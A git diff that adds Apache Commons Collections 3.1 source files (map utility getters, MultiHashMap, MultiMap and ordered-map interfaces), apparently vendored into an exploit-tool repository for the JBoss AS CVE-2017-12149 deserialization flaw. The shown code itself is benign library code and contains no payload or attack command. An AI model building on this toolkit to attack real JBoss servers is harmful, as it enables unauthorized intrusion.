+ public static Map getMap(final Map map, final Object key) {
+ if (map != null) {
+ Object answer = map.get(key);
+ if (answer != null && answer instanceof Map) {
+ return (Map) answer;
+ }
+ }
+ return null;
+ }
+
+ // Type safe getters with default values
+ //-------------------------------------------------------------------------
+ /**
+ * Looks up the given key in the given map, converting null into the
+ * given default value.
+ *
+ * @param map the map whose value to look up
+ * @param key the key of the value to look up in that map
+ * @param defaultValue what to return if the value is null
+ * @return the value in the map, or defaultValue if the original value
+ * is null or the map is null
+ */
+ public static Object getObject( Map map, Object key, Object defaultValue ) {
+ if ( map != null ) {
+ Object answer = map.get( key );
+ if ( answer != null ) {
+ return answer;
+ }
+ }
+ return defaultValue;
+ }
+
+ /**
+ * Looks up the given key in the given map, converting the result into
+ * a string, using the default value if the the conversion fails.
+ *
+ * @param map the map whose value to look up
+ * @param key the key of the value to look up in that map
+ * @param defaultValue what to return if the value is null or if the
+ * conversion fails
+ * @return the value in the map as a string, or defaultValue if the
+ * original value is null, the map is null or the string conversion
+ * fails
+ */
+ public static String getString( Map map, Object key, String defaultValue ) {
+ String answer = getString( map, key );
+ if ( answer == null ) {
+ answer = defaultValue;
+ }
+ return answer;
+ }
+
+ /**
+ * Looks up the given key in the given map, converting the result into
+ * a boolean, using the default value if the the conversion fails.
+ *
+ * @param map the map whose value to look up
+ * @param key the key of the value to look up in that map
+ * @param defaultValue what to return if the value is null or if the
+ * conversion fails
+ * @return the value in the map as a boolean, or defaultValue if the
+ * original value is null, the map is null or the boolean conversion
+ * fails
+ */
+ public static Boolean getBoolean( Map map, Object key, Boolean defaultValue ) {
+ Boolean answer = getBoolean( map, key );
+ if ( answer == null ) {
+ answer = defaultValue;
+ }
+ return answer;
+ }
+
+ /**
+ * Looks up the given key in the given map, converting the result into
+ * a number, using the default value if the the conversion fails.
+ *
+ * @param map the map whose value to look up
+ * @param key the key of the value to look up in that map
+ * @param defaultValue what to return if the value is null or if the
+ * conversion fails
+ * @return the value in the map as a number, or defaultValue if the
+ * original value is null, the map is null or the number conversion
+ * fails
+ */
+ public static Number getNumber( Map map, Object key, Number defaultValue ) {
+ Number answer = getNumber( map, key );
+ if ( answer == null ) {
+ answer = defaultValue;
+ }
+ return answer;
+ }
+
+ /**
+ * Looks up the given key in the given map, converting the result into
+ * a byte, using the default value if the the conversion fails.
+ *
+ * @param map the map whose value to look up
+ * @param key the key of the value to look up in that map
+ * @param defaultValue what to return if the value is null or if the
+ * conversion fails
+ * @return the value in the map as a number, or defaultValue if the
+ * original value is null, the map is null or the number conversion
+ * fails
+ */
+ public static Byte getByte( Map map, Object key, Byte defaultValue ) {
+ Byte answer = getByte( map, key );
+ if ( answer == null ) {
+ answer = defaultValue;
+ }
+ return answer;
+ }
+
+ /**
+ * Looks up the given key in the given map, converting the result into
+ * a short, using the default value if the the conversion fails.
+ *
+ * @param map the map whose value to look up
+ * @param key the key of the value to look up in that map
+ * @param defaultValue what to return if the value is null or if the
+ * conversion fails
+ * @return the value in the map as a number, or defaultValue if the
+ * original value is null, the map is null or the number conversion
+ * fails
+ */
+ public static Short getShort( Map map, Object key, Short defaultValue ) {
+ Short answer = getShort( map, key );
+ if ( answer == null ) {
+ answer = defaultValue;
+ }
+ return answer;
+ }
+
+ /**
+ * Looks up the given key in the given map, converting the result into
+ * an integer, using the default value if the the conversion fails.
+ *
+ * @param map the map whose value to look up
+ * @param key the key of the value to look up in that map
+ * @param defaultValue what to return if the value is null or if the
+ * conversion fails
+ * @return the value in the map as a number, or defaultValue if the
+ * original value is null, the map is null or the number conversion
+ * fails
+ */
+ public static Integer getInteger( Map map, Object key, Integer defaultValue ) {
+ Integer answer = getInteger( map, key );
+ if ( answer == null ) {
+ answer = defaultValue;
+ }
+ return answer;
+ }
+
+ /**
+ * Looks up the given key in the given map, converting the result into
+ * a long, using the default value if the the conversion fails.
+ *
+ * @param map the map whose value to look up
+ * @param key the key of the value to look up in that map
+ * @param defaultValue what to return if the value is null or if the
+ * conversion fails
+ * @return the value in the map as a number, or defaultValue if the
+ * original value is null, the map is null or the number conversion
+ * fails
+ */
+ public static Long getLong( Map map, Object key, Long defaultValue ) {
+ Long answer = getLong( map, key );
+ if ( answer == null ) {
+ answer = defaultValue;
+ }
+ return answer;
+ }
+
+ /**
+ * Looks up the given key in the given map, converting the result into
+ * a float, using the default value if the the conversion fails.
+ *
+ * @param map the map whose value to look up
+ * @param key the key of the value to look up in that map
+ * @param defaultValue what to return if the value is null or if the
+ * conversion fails
+ * @return the value in the map as a number, or defaultValue if the
+ * original value is null, the map is null or the number conversion
+ * fails
+ */
+ public static Float getFloat( Map map, Object key, Float defaultValue ) {
+ Float answer = getFloat( map, key );
+ if ( answer == null ) {
+ answer = defaultValue;
+ }
+ return answer;
+ }
+
+ /**
+ * Looks up the given key in the given map, converting the result into
+ * a double, using the default value if the the conversion fails.
+ *
+ * @param map the map whose value to look up
+ * @param key the key of the value to look up in that map
+ * @param defaultValue what to return if the value is null or if the
+ * conversion fails
+ * @return the value in the map as a number, or defaultValue if the
+ * original value is null, the map is null or the number conversion
+ * fails
+ */
+ public static Double getDouble( Map map, Object key, Double defaultValue ) {
+ Double answer = getDouble( map, key );
+ if ( answer == null ) {
+ answer = defaultValue;
+ }
+ return answer;
+ }
+
+ /**
+ * Looks up the given key in the given map, converting the result into
+ * a map, using the default value if the the conversion fails.
+ *
+ * @param map the map whose value to look up
+ * @param key the key of the value to look up in that map
+ * @param defaultValue what to return if the value is null or if the
+ * conversion fails
+ * @return the value in the map as a number, or defaultValue if the
+ * original value is null, the map is null or the map conversion
+ * fails
+ */
+ public static Map getMap( Map map, Object key, Map defaultValue ) {
+ Map answer = getMap( map, key );
+ if ( answer == null ) {
+ answer = defaultValue;
+ }
+ return answer;
+ }
+
+
+ // Type safe primitive getters
+ //-------------------------------------------------------------------------
+ /**
+ * Gets a boolean from a Map in a null-safe manner.
+ * Boolean
its value is returned.
+ * If the value is a String
and it equals 'true' ignoring case
+ * then true
is returned, otherwise false
.
+ * If the value is a Number
an integer zero value returns
+ * false
and non-zero returns true
.
+ * Otherwise, false
is returned.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a Boolean, false
if null map input
+ */
+ public static boolean getBooleanValue(final Map map, final Object key) {
+ Boolean booleanObject = getBoolean(map, key);
+ if (booleanObject == null) {
+ return false;
+ }
+ return booleanObject.booleanValue();
+ }
+
+ /**
+ * Gets a byte from a Map in a null-safe manner.
+ * 0
if null map input
+ */
+ public static byte getByteValue(final Map map, final Object key) {
+ Byte byteObject = getByte(map, key);
+ if (byteObject == null) {
+ return 0;
+ }
+ return byteObject.byteValue();
+ }
+
+ /**
+ * Gets a short from a Map in a null-safe manner.
+ * 0
if null map input
+ */
+ public static short getShortValue(final Map map, final Object key) {
+ Short shortObject = getShort(map, key);
+ if (shortObject == null) {
+ return 0;
+ }
+ return shortObject.shortValue();
+ }
+
+ /**
+ * Gets an int from a Map in a null-safe manner.
+ * 0
if null map input
+ */
+ public static int getIntValue(final Map map, final Object key) {
+ Integer integerObject = getInteger(map, key);
+ if (integerObject == null) {
+ return 0;
+ }
+ return integerObject.intValue();
+ }
+
+ /**
+ * Gets a long from a Map in a null-safe manner.
+ * 0L
if null map input
+ */
+ public static long getLongValue(final Map map, final Object key) {
+ Long longObject = getLong(map, key);
+ if (longObject == null) {
+ return 0L;
+ }
+ return longObject.longValue();
+ }
+
+ /**
+ * Gets a float from a Map in a null-safe manner.
+ * 0.0F
if null map input
+ */
+ public static float getFloatValue(final Map map, final Object key) {
+ Float floatObject = getFloat(map, key);
+ if (floatObject == null) {
+ return 0f;
+ }
+ return floatObject.floatValue();
+ }
+
+ /**
+ * Gets a double from a Map in a null-safe manner.
+ * 0.0
if null map input
+ */
+ public static double getDoubleValue(final Map map, final Object key) {
+ Double doubleObject = getDouble(map, key);
+ if (doubleObject == null) {
+ return 0d;
+ }
+ return doubleObject.doubleValue();
+ }
+
+ // Type safe primitive getters with default values
+ //-------------------------------------------------------------------------
+ /**
+ * Gets a boolean from a Map in a null-safe manner,
+ * using the default value if the the conversion fails.
+ * Boolean
its value is returned.
+ * If the value is a String
and it equals 'true' ignoring case
+ * then true
is returned, otherwise false
.
+ * If the value is a Number
an integer zero value returns
+ * false
and non-zero returns true
.
+ * Otherwise, defaultValue
is returned.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @param defaultValue return if the value is null or if the
+ * conversion fails
+ * @return the value in the Map as a Boolean, defaultValue
if null map input
+ */
+ public static boolean getBooleanValue(final Map map, final Object key, boolean defaultValue) {
+ Boolean booleanObject = getBoolean(map, key);
+ if (booleanObject == null) {
+ return defaultValue;
+ }
+ return booleanObject.booleanValue();
+ }
+
+ /**
+ * Gets a byte from a Map in a null-safe manner,
+ * using the default value if the the conversion fails.
+ * defaultValue
if null map input
+ */
+ public static byte getByteValue(final Map map, final Object key, byte defaultValue) {
+ Byte byteObject = getByte(map, key);
+ if (byteObject == null) {
+ return defaultValue;
+ }
+ return byteObject.byteValue();
+ }
+
+ /**
+ * Gets a short from a Map in a null-safe manner,
+ * using the default value if the the conversion fails.
+ * defaultValue
if null map input
+ */
+ public static short getShortValue(final Map map, final Object key, short defaultValue) {
+ Short shortObject = getShort(map, key);
+ if (shortObject == null) {
+ return defaultValue;
+ }
+ return shortObject.shortValue();
+ }
+
+ /**
+ * Gets an int from a Map in a null-safe manner,
+ * using the default value if the the conversion fails.
+ * defaultValue
if null map input
+ */
+ public static int getIntValue(final Map map, final Object key, int defaultValue) {
+ Integer integerObject = getInteger(map, key);
+ if (integerObject == null) {
+ return defaultValue;
+ }
+ return integerObject.intValue();
+ }
+
+ /**
+ * Gets a long from a Map in a null-safe manner,
+ * using the default value if the the conversion fails.
+ * defaultValue
if null map input
+ */
+ public static long getLongValue(final Map map, final Object key, long defaultValue) {
+ Long longObject = getLong(map, key);
+ if (longObject == null) {
+ return defaultValue;
+ }
+ return longObject.longValue();
+ }
+
+ /**
+ * Gets a float from a Map in a null-safe manner,
+ * using the default value if the the conversion fails.
+ * defaultValue
if null map input
+ */
+ public static float getFloatValue(final Map map, final Object key, float defaultValue) {
+ Float floatObject = getFloat(map, key);
+ if (floatObject == null) {
+ return defaultValue;
+ }
+ return floatObject.floatValue();
+ }
+
+ /**
+ * Gets a double from a Map in a null-safe manner,
+ * using the default value if the the conversion fails.
+ * defaultValue
if null map input
+ */
+ public static double getDoubleValue(final Map map, final Object key, double defaultValue) {
+ Double doubleObject = getDouble(map, key);
+ if (doubleObject == null) {
+ return defaultValue;
+ }
+ return doubleObject.doubleValue();
+ }
+
+ // Conversion methods
+ //-------------------------------------------------------------------------
+ /**
+ * Gets a new Properties object initialised with the values from a Map.
+ * A null input will return an empty properties object.
+ *
+ * @param map the map to convert to a Properties object, may not be null
+ * @return the properties object
+ */
+ public static Properties toProperties(final Map map) {
+ Properties answer = new Properties();
+ if (map != null) {
+ for (Iterator iter = map.entrySet().iterator(); iter.hasNext();) {
+ Map.Entry entry = (Map.Entry) iter.next();
+ Object key = entry.getKey();
+ Object value = entry.getValue();
+ answer.put(key, value);
+ }
+ }
+ return answer;
+ }
+
+ /**
+ * Creates a new HashMap using data copied from a ResourceBundle.
+ *
+ * @param resourceBundle the resource bundle to convert, may not be null
+ * @return the hashmap containing the data
+ * @throws NullPointerException if the bundle is null
+ */
+ public static Map toMap(final ResourceBundle resourceBundle) {
+ Enumeration enumeration = resourceBundle.getKeys();
+ Map map = new HashMap();
+
+ while (enumeration.hasMoreElements()) {
+ String key = (String) enumeration.nextElement();
+ Object value = resourceBundle.getObject(key);
+ map.put(key, value);
+ }
+
+ return map;
+ }
+
+ // Printing methods
+ //-------------------------------------------------------------------------
+ /**
+ * Prints the given map with nice line breaks.
+ * null
.
+ * If null
, the label is not output.
+ * It typically represents the name of the property in a bean or similar.
+ * @param map The map to print, may be null
.
+ * If null
, the text 'null' is output.
+ * @throws NullPointerException if the stream is null
+ */
+ public static void verbosePrint(
+ final PrintStream out,
+ final Object label,
+ final Map map) {
+
+ verbosePrintInternal(out, label, map, new ArrayStack(), false);
+ }
+
+ /**
+ * Prints the given map with nice line breaks.
+ * null
.
+ * If null
, the label is not output.
+ * It typically represents the name of the property in a bean or similar.
+ * @param map The map to print, may be null
.
+ * If null
, the text 'null' is output.
+ * @throws NullPointerException if the stream is null
+ */
+ public static void debugPrint(
+ final PrintStream out,
+ final Object label,
+ final Map map) {
+
+ verbosePrintInternal(out, label, map, new ArrayStack(), true);
+ }
+
+ // Implementation methods
+ //-------------------------------------------------------------------------
+ /**
+ * Logs the given exception to System.out
.
+ * null
.
+ * If null
, the label is not output.
+ * It typically represents the name of the property in a bean or similar.
+ * @param map the map to print, may be null
.
+ * If null
, the text 'null' is output
+ * @param lineage a stack consisting of any maps in which the previous
+ * argument is contained. This is checked to avoid infinite recursion when
+ * printing the output
+ * @param debug flag indicating whether type names should be output.
+ * @throws NullPointerException if the stream is null
+ */
+ private static void verbosePrintInternal(
+ final PrintStream out,
+ final Object label,
+ final Map map,
+ final ArrayStack lineage,
+ final boolean debug) {
+
+ printIndent(out, lineage.size());
+
+ if (map == null) {
+ if (label != null) {
+ out.print(label);
+ out.print(" = ");
+ }
+ out.println("null");
+ return;
+ }
+ if (label != null) {
+ out.print(label);
+ out.println(" = ");
+ }
+
+ printIndent(out, lineage.size());
+ out.println("{");
+
+ lineage.push(map);
+
+ for (Iterator it = map.entrySet().iterator(); it.hasNext();) {
+ Map.Entry entry = (Map.Entry) it.next();
+ Object childKey = entry.getKey();
+ Object childValue = entry.getValue();
+ if (childValue instanceof Map && !lineage.contains(childValue)) {
+ verbosePrintInternal(
+ out,
+ (childKey == null ? "null" : childKey),
+ (Map) childValue,
+ lineage,
+ debug);
+ } else {
+ printIndent(out, lineage.size());
+ out.print(childKey);
+ out.print(" = ");
+
+ final int lineageIndex = lineage.indexOf(childValue);
+ if (lineageIndex == -1) {
+ out.print(childValue);
+ } else if (lineage.size() - 1 == lineageIndex) {
+ out.print("(this Map)");
+ } else {
+ out.print(
+ "(ancestor["
+ + (lineage.size() - 1 - lineageIndex - 1)
+ + "] Map)");
+ }
+
+ if (debug && childValue != null) {
+ out.print(' ');
+ out.println(childValue.getClass().getName());
+ } else {
+ out.println();
+ }
+ }
+ }
+
+ lineage.pop();
+
+ printIndent(out, lineage.size());
+ out.println(debug ? "} " + map.getClass().getName() : "}");
+ }
+
+ /**
+ * Writes indentation to the given stream.
+ *
+ * @param out the stream to indent
+ */
+ private static void printIndent(final PrintStream out, final int indent) {
+ for (int i = 0; i < indent; i++) {
+ out.print(INDENT_STRING);
+ }
+ }
+
+ // Misc
+ //-----------------------------------------------------------------------
+ /**
+ * Inverts the supplied map returning a new HashMap such that the keys of
+ * the input are swapped with the values.
+ *
+ * Map m = MapUtils.synchronizedMap(myMap);
+ * Set s = m.keySet(); // outside synchronized block
+ * synchronized (m) { // synchronized on MAP!
+ * Iterator i = s.iterator();
+ * while (i.hasNext()) {
+ * process (i.next());
+ * }
+ * }
+ *
+ *
+ * This method uses the implementation in {@link java.util.Collections Collections}.
+ *
+ * @param map the map to synchronize, must not be null
+ * @return a synchronized map backed by the given map
+ * @throws IllegalArgumentException if the map is null
+ */
+ public static Map synchronizedMap(Map map) {
+ return Collections.synchronizedMap(map);
+ }
+
+ /**
+ * Returns an unmodifiable map backed by the given map.
+ *
+ * Factory factory = new Factory() {
+ * public Object create() {
+ * return new Date();
+ * }
+ * }
+ * Map lazyMap = MapUtils.lazyMap(new HashMap(), factory);
+ * Object obj = lazyMap.get("test");
+ *
+ *
+ * After the above code is executed, obj
will contain
+ * a new Date
instance. Furthermore, that Date
+ * instance is the value for the "test"
key in the map.
+ *
+ * @param map the map to make lazy, must not be null
+ * @param factory the factory for creating new objects, must not be null
+ * @return a lazy map backed by the given map
+ * @throws IllegalArgumentException if the Map or Factory is null
+ */
+ public static Map lazyMap(Map map, Factory factory) {
+ return LazyMap.decorate(map, factory);
+ }
+
+ /**
+ * Returns a "lazy" map whose values will be created on demand.
+ *
+ * Transformer factory = new Transformer() {
+ * public Object transform(Object mapKey) {
+ * return new File(mapKey);
+ * }
+ * }
+ * Map lazyMap = MapUtils.lazyMap(new HashMap(), factory);
+ * Object obj = lazyMap.get("C:/dev");
+ *
+ *
+ * After the above code is executed, obj
will contain
+ * a new File
instance for the C drive dev directory.
+ * Furthermore, that File
instance is the value for the
+ * "C:/dev"
key in the map.
+ *
+ * Map m = MapUtils.synchronizedSortedMap(myMap);
+ * Set s = m.keySet(); // outside synchronized block
+ * synchronized (m) { // synchronized on MAP!
+ * Iterator i = s.iterator();
+ * while (i.hasNext()) {
+ * process (i.next());
+ * }
+ * }
+ *
+ *
+ * This method uses the implementation in {@link java.util.Collections Collections}.
+ *
+ * @param map the map to synchronize, must not be null
+ * @return a synchronized map backed by the given map
+ * @throws IllegalArgumentException if the map is null
+ */
+ public static Map synchronizedSortedMap(SortedMap map) {
+ return Collections.synchronizedSortedMap(map);
+ }
+
+ /**
+ * Returns an unmodifiable sorted map backed by the given sorted map.
+ *
+ * Factory factory = new Factory() {
+ * public Object create() {
+ * return new Date();
+ * }
+ * }
+ * SortedMap lazy = MapUtils.lazySortedMap(new TreeMap(), factory);
+ * Object obj = lazy.get("test");
+ *
+ *
+ * After the above code is executed, obj
will contain
+ * a new Date
instance. Furthermore, that Date
+ * instance is the value for the "test"
key.
+ *
+ * @param map the map to make lazy, must not be null
+ * @param factory the factory for creating new objects, must not be null
+ * @return a lazy map backed by the given map
+ * @throws IllegalArgumentException if the SortedMap or Factory is null
+ */
+ public static SortedMap lazySortedMap(SortedMap map, Factory factory) {
+ return LazySortedMap.decorate(map, factory);
+ }
+
+ /**
+ * Returns a "lazy" sorted map whose values will be created on demand.
+ *
+ * Transformer factory = new Transformer() {
+ * public Object transform(Object mapKey) {
+ * return new File(mapKey);
+ * }
+ * }
+ * SortedMap lazy = MapUtils.lazySortedMap(new TreeMap(), factory);
+ * Object obj = lazy.get("C:/dev");
+ *
+ *
+ * After the above code is executed, obj
will contain
+ * a new File
instance for the C drive dev directory.
+ * Furthermore, that File
instance is the value for the
+ * "C:/dev"
key in the map.
+ * MultiHashMap
is the default implementation of the
+ * {@link org.apache.commons.collections.MultiMap MultiMap} interface.
+ * MultiMap
is a Map with slightly different semantics.
+ * Putting a value into the map will add the value to a Collection at that key.
+ * Getting a value will return a Collection, holding all the values put to that key.
+ * ArrayList
as the collection.
+ * The internal storage list is made available without cloning via the
+ * get(Object)
and entrySet()
methods.
+ * The implementation returns null
when there are no values mapped to a key.
+ *
+ * MultiMap mhm = new MultiHashMap();
+ * mhm.put(key, "A");
+ * mhm.put(key, "B");
+ * mhm.put(key, "C");
+ * List list = (List) mhm.get(key);
+ * list
will be a list containing "A", "B", "C".
+ *
+ * @since Commons Collections 2.0
+ * @version $Revision: 1.20 $ $Date: 2004/06/09 22:11:54 $
+ *
+ * @author Christopher Berry
+ * @author James Strachan
+ * @author Steve Downey
+ * @author Stephen Colebourne
+ * @author Julien Buret
+ * @author Serhiy Yevtushenko
+ */
+public class MultiHashMap extends HashMap implements MultiMap {
+
+ // backed values collection
+ private transient Collection values = null;
+
+ // compatibility with commons-collection releases 2.0/2.1
+ private static final long serialVersionUID = 1943563828307035349L;
+
+ /**
+ * Constructor.
+ */
+ public MultiHashMap() {
+ super();
+ }
+
+ /**
+ * Constructor.
+ *
+ * @param initialCapacity the initial map capacity
+ */
+ public MultiHashMap(int initialCapacity) {
+ super(initialCapacity);
+ }
+
+ /**
+ * Constructor.
+ *
+ * @param initialCapacity the initial map capacity
+ * @param loadFactor the amount 0.0-1.0 at which to resize the map
+ */
+ public MultiHashMap(int initialCapacity, float loadFactor) {
+ super(initialCapacity, loadFactor);
+ }
+
+ /**
+ * Constructor that copies the input map creating an independent copy.
+ * get(key)
.
+ *
+ * @param key the key to retrieve
+ * @return the collection mapped to the key, null if no mapping
+ * @since Commons Collections 3.1
+ */
+ public Collection getCollection(Object key) {
+ return (Collection) get(key);
+ }
+
+ /**
+ * Gets the size of the collection mapped to the specified key.
+ *
+ * @param key the key to get size for
+ * @return the size of the collection at the key, zero if key not in map
+ * @since Commons Collections 3.1
+ */
+ public int size(Object key) {
+ Collection coll = getCollection(key);
+ if (coll == null) {
+ return 0;
+ }
+ return coll.size();
+ }
+
+ /**
+ * Gets an iterator for the collection mapped to the specified key.
+ *
+ * @param key the key to get an iterator for
+ * @return the iterator of the collection at the key, empty iterator if key not in map
+ * @since Commons Collections 3.1
+ */
+ public Iterator iterator(Object key) {
+ Collection coll = getCollection(key);
+ if (coll == null) {
+ return EmptyIterator.INSTANCE;
+ }
+ return coll.iterator();
+ }
+
+ /**
+ * Adds the value to the collection associated with the specified key.
+ * Map
the previous value is not replaced.
+ * Instead the new value is added to the collection stored against the key.
+ *
+ * @param key the key to store against
+ * @param value the value to add to the collection at the key
+ * @return the value added if the map changed and null if the map did not change
+ */
+ public Object put(Object key, Object value) {
+ // NOTE:: put is called during deserialization in JDK < 1.4 !!!!!!
+ // so we must have a readObject()
+ Collection coll = getCollection(key);
+ if (coll == null) {
+ coll = createCollection(null);
+ super.put(key, coll);
+ }
+ boolean results = coll.add(value);
+ return (results ? value : null);
+ }
+
+ /**
+ * Adds a collection of values to the collection associated with the specified key.
+ *
+ * @param key the key to store against
+ * @param values the values to add to the collection at the key, null ignored
+ * @return true if this map changed
+ * @since Commons Collections 3.1
+ */
+ public boolean putAll(Object key, Collection values) {
+ if (values == null || values.size() == 0) {
+ return false;
+ }
+ Collection coll = getCollection(key);
+ if (coll == null) {
+ coll = createCollection(values);
+ if (coll.size() == 0) {
+ return false;
+ }
+ super.put(key, coll);
+ return true;
+ } else {
+ return coll.addAll(values);
+ }
+ }
+
+ /**
+ * Checks whether the map contains the value specified.
+ * null
will be returned
+ * from a subsequant get(key)
.
+ *
+ * @param key the key to remove from
+ * @param item the value to remove
+ * @return the value removed (which was passed in), null if nothing removed
+ */
+ public Object remove(Object key, Object item) {
+ Collection valuesForKey = getCollection(key);
+ if (valuesForKey == null) {
+ return null;
+ }
+ valuesForKey.remove(item);
+
+ // remove the list if it is now empty
+ // (saves space, and allows equals to work)
+ if (valuesForKey.isEmpty()){
+ remove(key);
+ }
+ return item;
+ }
+
+ /**
+ * Clear the map.
+ * MultiMap
is a Map with slightly different semantics.
+ * Putting a value into the map will add the value to a Collection at that key.
+ * Getting a value will return a Collection, holding all the values put to that key.
+ *
+ * MultiMap mhm = new MultiHashMap();
+ * mhm.put(key, "A");
+ * mhm.put(key, "B");
+ * mhm.put(key, "C");
+ * Collection coll = (Collection) mhm.get(key);
+ * coll
will be a collection containing "A", "B", "C".
+ * Map
anyway.
+ *
+ * @since Commons Collections 2.0
+ * @version $Revision: 1.12 $ $Date: 2004/03/14 15:33:57 $
+ *
+ * @author Christopher Berry
+ * @author James Strachan
+ * @author Stephen Colebourne
+ */
+public interface MultiMap extends Map {
+
+ /**
+ * Removes a specific value from map.
+ * null
from a subsequant get(Object)
, however
+ * they may choose to return an empty collection.
+ *
+ * @param key the key to remove from
+ * @param item the item to remove
+ * @return the value removed (which was passed in), null if nothing removed
+ * @throws UnsupportedOperationException if the map is unmodifiable
+ * @throws ClassCastException if the key or value is of an invalid type
+ * @throws NullPointerException if the key or value is null and null is invalid
+ */
+ public Object remove(Object key, Object item);
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the number of keys in this map.
+ * Collection
. Implementations
+ * are free to declare that they return Collection
subclasses
+ * such as List
or Set
.
+ * null
if no values have
+ * been mapped to the key, however the implementation may choose to
+ * return an empty collection.
+ * Collection
of values, implementations should
+ * return null
for no mapping, but may return an empty collection
+ * @throws ClassCastException if the key is of an invalid type
+ * @throws NullPointerException if the key is null and null keys are invalid
+ */
+ Object get(Object key);
+
+ /**
+ * Checks whether the map contains the value specified.
+ * Map
the previous value is not replaced.
+ * Instead the new value is added to the collection stored against the key.
+ * The collection may be a List
, Set
or other
+ * collection dependent on implementation.
+ *
+ * @param key the key to store against
+ * @param value the value to add to the collection at the key
+ * @return typically the value added if the map changed and null if the map did not change
+ * @throws UnsupportedOperationException if the map is unmodifiable
+ * @throws ClassCastException if the key or value is of an invalid type
+ * @throws NullPointerException if the key or value is null and null is invalid
+ * @throws IllegalArgumentException if the key or value is invalid
+ */
+ Object put(Object key, Object value);
+
+ /**
+ * Removes all values associated with the specified key.
+ * null
from a subsequant
+ * get(Object)
, however they may choose to return an empty collection.
+ *
+ * @param key the key to remove values from
+ * @return the Collection
of values removed, implementations should
+ * return null
for no mapping found, but may return an empty collection
+ * @throws UnsupportedOperationException if the map is unmodifiable
+ * @throws ClassCastException if the key is of an invalid type
+ * @throws NullPointerException if the key is null and null keys are invalid
+ */
+ Object remove(Object key);
+
+ /**
+ * Gets a collection containing all the values in the map.
+ * AbstractMap.values()
etc. Calling this
+ * method on the inverse map should return the original.
+ * OrderedBidiMap
instance,
+ * usually by forwarding to inverseOrderedBidiMap()
.
+ *
+ * @return an inverted bidirectional map
+ */
+ public BidiMap inverseBidiMap();
+
+ /**
+ * Gets a view of this map where the keys and values are reversed.
+ * AbstractMap.values()
etc. Calling this
+ * method on the inverse map should return the original.
+ *
+ * @return an inverted bidirectional map
+ */
+ public OrderedBidiMap inverseOrderedBidiMap();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedIterator.java"
new file mode 100644
index 0000000..ef7c939
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedIterator.java"
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Iterator;
+
+/**
+ * Defines an iterator that operates over a ordered collections.
+ * true
if the iterator has a previous element
+ */
+ boolean hasPrevious();
+
+ /**
+ * Gets the previous element from the collection.
+ *
+ * @return the previous key in the iteration
+ * @throws java.util.NoSuchElementException if the iteration is finished
+ */
+ Object previous();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedMap.java"
new file mode 100644
index 0000000..1e7ee36
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedMap.java"
@@ -0,0 +1,81 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+/**
+ * Defines a map that maintains order and allows both forward and backward
+ * iteration through that order.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Stephen Colebourne
+ */
+public interface OrderedMap extends IterableMap {
+
+ /**
+ * Obtains an OrderedMapIterator
over the map.
+ *
+ * BidiMap map = new TreeBidiMap();
+ * MapIterator it = map.mapIterator();
+ * while (it.hasNext()) {
+ * Object key = it.next();
+ * Object value = it.getValue();
+ * it.setValue("newValue");
+ * Object previousKey = it.previous();
+ * }
+ *
+ *
+ * @return a map iterator
+ */
+ OrderedMapIterator orderedMapIterator();
+
+ /**
+ * Gets the first key currently in this map.
+ *
+ * @return the first key currently in this map
+ * @throws java.util.NoSuchElementException if this map is empty
+ */
+ public Object firstKey();
+
+ /**
+ * Gets the last key currently in this map.
+ *
+ * @return the last key currently in this map
+ * @throws java.util.NoSuchElementException if this map is empty
+ */
+ public Object lastKey();
+
+ /**
+ * Gets the next key after the one specified.
+ *
+ * @param key the key to search for next from
+ * @return the next key, null if no match or at end
+ */
+ public Object nextKey(Object key);
+
+ /**
+ * Gets the previous key before the one specified.
+ *
+ * @param key the key to search for previous from
+ * @return the previous key, null if no match or at start
+ */
+ public Object previousKey(Object key);
+
+}
